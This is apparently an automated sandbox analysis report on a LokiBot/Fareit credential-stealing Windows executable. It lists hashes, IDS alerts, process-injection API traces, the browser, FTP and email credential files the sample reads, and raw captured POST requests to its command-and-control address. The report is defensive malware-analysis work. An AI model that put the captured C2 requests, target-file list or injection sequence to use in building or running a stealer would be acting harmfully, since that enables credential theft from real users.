Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Dec. 7, 2022, 9:09 a.m.	Dec. 7, 2022, 9:21 a.m.

Size	738.5KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`58a93725b592923568ede95c067e81b2`
SHA256	`4f52928b3599dde5382b84b16cf8482a5e840f30f94ef11a100f624ac1839506`
CRC32	`F37DA3EE`
ssdeep	`12288:LcnZ75OyvUOASfN3gPsQ0rA/QXIsYN5IyjmaxgKZ/nXt7virmWhlGLaQYI:Ynx5fflmsQ0rA/QXIsY1`
Yara	IsPE32 - (no description) Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature

csrss.exe "C:\Users\test22\AppData\Local\Temp\csrss.exe"
2556
- csrss.exe "C:\Users\test22\AppData\Local\Temp\csrss.exe"
  2892

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
208.67.105.161	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49167 -> 208.67.105.161:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 208.67.105.161:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49169 -> 208.67.105.161:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 208.67.105.161:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 208.67.105.161:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 208.67.105.161:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 208.67.105.161:80	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	A Network Trojan was detected
TCP 192.168.56.101:49167 -> 208.67.105.161:80	2024312	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 208.67.105.161:80	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 208.67.105.161:80	2024317	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2	A Network Trojan was detected
TCP 192.168.56.101:49167 -> 208.67.105.161:80	2024317	ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2	A Network Trojan was detected
TCP 192.168.56.101:49170 -> 208.67.105.161:80	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	Malware Command and Control Activity Detected
TCP 208.67.105.161:80 -> 192.168.56.101:49170	2025483	ET MALWARE LokiBot Fake 404 Response	A Network Trojan was detected
TCP 192.168.56.101:49171 -> 208.67.105.161:80	2021641	ET MALWARE LokiBot User-Agent (Charon/Inferno)	A Network Trojan was detected
TCP 192.168.56.101:49171 -> 208.67.105.161:80	2025381	ET MALWARE LokiBot Checkin	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 208.67.105.161:80	2024313	ET MALWARE LokiBot Request for C2 Commands Detected M1	Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 208.67.105.161:80	2024318	ET MALWARE LokiBot Request for C2 Commands Detected M2	Malware Command and Control Activity Detected
TCP 208.67.105.161:80 -> 192.168.56.101:49171	2025483	ET MALWARE LokiBot Fake 404 Response	A Network Trojan was detected

Suricata TLS

No Suricata TLS

Queries for the computername (3 events)

Time & API	Arguments	Status	Return
GetComputerNameW Dec. 7, 2022, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2022, 9:10 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Dec. 7, 2022, 9:10 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 7, 2022, 9:09 a.m.			0	0
IsDebuggerPresent Dec. 7, 2022, 9:09 a.m.			0	0

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 7, 2022, 9:09 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, HTTP version 1.0 used, Connection to IP address

suspicious_request

POST http://208.67.105.161/gk2/five/fre.php

Performs some HTTP requests (1 event)

request

POST http://208.67.105.161/gk2/five/fre.php

Sends data using the HTTP POST Method (1 event)

request

POST http://208.67.105.161/gk2/five/fre.php

Allocates read-write-execute memory (usually to unpack itself) (30 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00620000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x727a2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 1769472 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02120000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02290000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00342000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00475000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0047b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00477000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00690000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0034a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0036a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00367000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00691000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x732e2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:09 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00366000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00692000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0035e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00693000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 24576 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00694000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0069a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0069b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05980000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05981000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05986000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05987000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Steals private information from local Internet browsers (19 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file	C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file	C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file	C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file	C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox

Moves the original executable to a new location (1 event)

Time & API	Arguments	Status	Return	Repeated
MoveFileWithProgressW Dec. 7, 2022, 9:10 a.m.	newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe flags: 1 oldfilepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe oldfilepath: C:\Users\test22\AppData\Local\Temp\csrss.exe	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000b8200', u'virtual_address': u'0x00002000', u'entropy': 7.279766529431363, u'name': u'.text', u'virtual_size': u'0x000b81ac'}

entropy

7.27976652943

description

A section with a high entropy has been found

entropy

0.997967479675

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Dec. 7, 2022, 9:10 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Potentially malicious URLs were found in the process memory dump (1 event)

url	http://www.ibsensoftware.com/

Yara rule detected in process memory (12 events)

description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communications use DNS	rule	Network_DNS
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Win32 PWS Loki	rule	Win32_PWS_Loki_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

208.67.105.161

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2892 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000244	1	0	0

Harvests credentials from local FTP client softwares (22 events)

file	C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file	C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file	C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file	C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file	C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file	C:\Windows\wcx_ftp.ini
file	C:\Users\test22\wcx_ftp.ini
file	C:\Windows\32BitFtp.ini
file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Program Files (x86)\FileZilla\Filezilla.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry	HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry	HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry	HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry	HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry	HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry	HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry	HKEY_CURRENT_USER\Software\Martin Prikryl
registry	HKEY_LOCAL_MACHINE\Software\Martin Prikryl

Harvests information related to installed instant messenger clients (1 event)

file	C:\Users\test22\AppData\Roaming\.purple\accounts.xml

Network communications indicative of possible code injection originated from the process csrss.exe (12 events)

Time & API	Arguments	Status	Return
connect Dec. 7, 2022, 9:10 a.m.	ip_address: 208.67.105.161 socket: 388 port: 80	1	0
send Dec. 7, 2022, 9:10 a.m.	buffer: POST /gk2/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 208.67.105.161 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 2D4236CE Content-Length: 186 Connection: close socket: 388 sent: 243	1	243
send Dec. 7, 2022, 9:10 a.m.	buffer: 'ckav.rutest22TEST22-PCtest22-PCk086627BC41D896D6F4DE8430Fq9EPU socket: 388 sent: 186	1	186
connect Dec. 7, 2022, 9:10 a.m.	ip_address: 208.67.105.161 socket: 408 port: 80	1	0
send Dec. 7, 2022, 9:10 a.m.	buffer: POST /gk2/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 208.67.105.161 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 2D4236CE Content-Length: 186 Connection: close socket: 408 sent: 243	1	243
send Dec. 7, 2022, 9:10 a.m.	buffer: 'ckav.rutest22TEST22-PCtest22-PCÆ+086627BC41D896D6F4DE8430FvQHzD socket: 408 sent: 186	1	186
connect Dec. 7, 2022, 9:10 a.m.	ip_address: 208.67.105.161 socket: 408 port: 80	1	0
send Dec. 7, 2022, 9:10 a.m.	buffer: POST /gk2/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 208.67.105.161 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 2D4236CE Content-Length: 159 Connection: close socket: 408 sent: 243	1	243
send Dec. 7, 2022, 9:10 a.m.	buffer: (ckav.rutest22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F socket: 408 sent: 159	1	159
connect Dec. 7, 2022, 9:11 a.m.	ip_address: 208.67.105.161 socket: 324 port: 80	1	0
send Dec. 7, 2022, 9:11 a.m.	buffer: POST /gk2/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 208.67.105.161 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 2D4236CE Content-Length: 159 Connection: close socket: 324 sent: 243	1	243
send Dec. 7, 2022, 9:11 a.m.	buffer: (ckav.rutest22TEST22-PCtest22-PC086627BC41D896D6F4DE8430F socket: 324 sent: 159	1	159

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþ¬¬¬Ô¬K£K¬ ¬=2ó¬¬¬Ô¬¬Ç¬Ô¬=2÷ó¬=2È¬Rich¬PELlWà8¢Þ9P@ ÐdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x À base_address: 0x00400000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: TÍ<¨K¢`Ý;U base_address: 0x0041a000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2892 process_handle: 0x00000244	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþ¬¬¬Ô¬K£K¬ ¬=2ó¬¬¬Ô¬¬Ç¬Ô¬=2÷ó¬=2È¬Rich¬PELlWà8¢Þ9P@ ÐdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x À base_address: 0x00400000 process_identifier: 2892 process_handle: 0x00000244	1	1	0

Harvests credentials from local email clients (3 events)

registry	HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Thunderbird
registry	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2556 called NtSetContextThread to modify thread in remote process 2892
NtSetContextThread Dec. 7, 2022, 9:10 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000240 process_identifier: 2892	1	0	0

Putty Files, Registry Keys and/or Mutexes Detected

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2556 resumed a thread in remote process 2892
NtResumeThread Dec. 7, 2022, 9:10 a.m.	thread_handle: 0x00000240 suspend_count: 1 process_identifier: 2892	1	0	0

Created a process named as a common system process (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Dec. 7, 2022, 9:10 a.m.	thread_identifier: 2896 thread_handle: 0x00000240 process_identifier: 2892 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000244	1	1	0

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Bkav	W32.AIDetectNet.01
Elastic	malicious (high confidence)
McAfee	Artemis!58A93725B592
Cylance	Unsafe
Symantec	ML.Attribute.HighConfidence
tehtris	Generic.Malware
ESET-NOD32	a variant of MSIL/Kryptik.AHIY
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	PWSX-gen [Trj]
Sophos	Mal/Generic-S
DrWeb	Trojan.Inject4.48217
McAfee-GW-Edition	Artemis!Trojan
SentinelOne	Static AI - Suspicious PE
Microsoft	PWS:Win32/Fareit.MS!MTB
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Google	Detected
BitDefenderTheta	Gen:NN.ZemsilF.36106.Um0@aSPLg!m
Malwarebytes	MachineLearning/Anomalous.97%
Rising	Stealer.Fareit!8.170 (CLOUD)
Ikarus	Trojan.MSIL.Crypt
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/GenKryptik.GCGX!tr
AVG	PWSX-gen [Trj]

Executed a process and injected code into it, probably while unpacking (15 events)

Time & API	Arguments	Status	Return
NtResumeThread Dec. 7, 2022, 9:09 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread Dec. 7, 2022, 9:09 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread Dec. 7, 2022, 9:09 a.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2556	1	0
CreateProcessInternalW Dec. 7, 2022, 9:10 a.m.	thread_identifier: 2896 thread_handle: 0x00000240 process_identifier: 2892 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\csrss.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\csrss.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000244	1	1
NtGetContextThread Dec. 7, 2022, 9:10 a.m.	thread_handle: 0x00000240	1	0
NtAllocateVirtualMemory Dec. 7, 2022, 9:10 a.m.	process_identifier: 2892 region_size: 663552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000244	1	0
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $ÌÍxþ¬¬¬Ô¬K£K¬ ¬=2ó¬¬¬Ô¬¬Ç¬Ô¬=2÷ó¬=2È¬Rich¬PELlWà8¢Þ9P@ ÐdP\.textõ68 `.rdata`@PB<@@.data$^ ~@À.x À base_address: 0x00400000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: base_address: 0x00401000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: base_address: 0x00415000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: TÍ<¨K¢`Ý;U base_address: 0x0041a000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: base_address: 0x004a0000 process_identifier: 2892 process_handle: 0x00000244	1	1
WriteProcessMemory Dec. 7, 2022, 9:10 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2892 process_handle: 0x00000244	1	1
NtSetContextThread Dec. 7, 2022, 9:10 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4274654 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000240 process_identifier: 2892	1	0
NtResumeThread Dec. 7, 2022, 9:10 a.m.	thread_handle: 0x00000240 suspend_count: 1 process_identifier: 2892	1	0
NtResumeThread Dec. 7, 2022, 9:10 a.m.	thread_handle: 0x00000110 suspend_count: 1 process_identifier: 2892	1	0

csrss.exe

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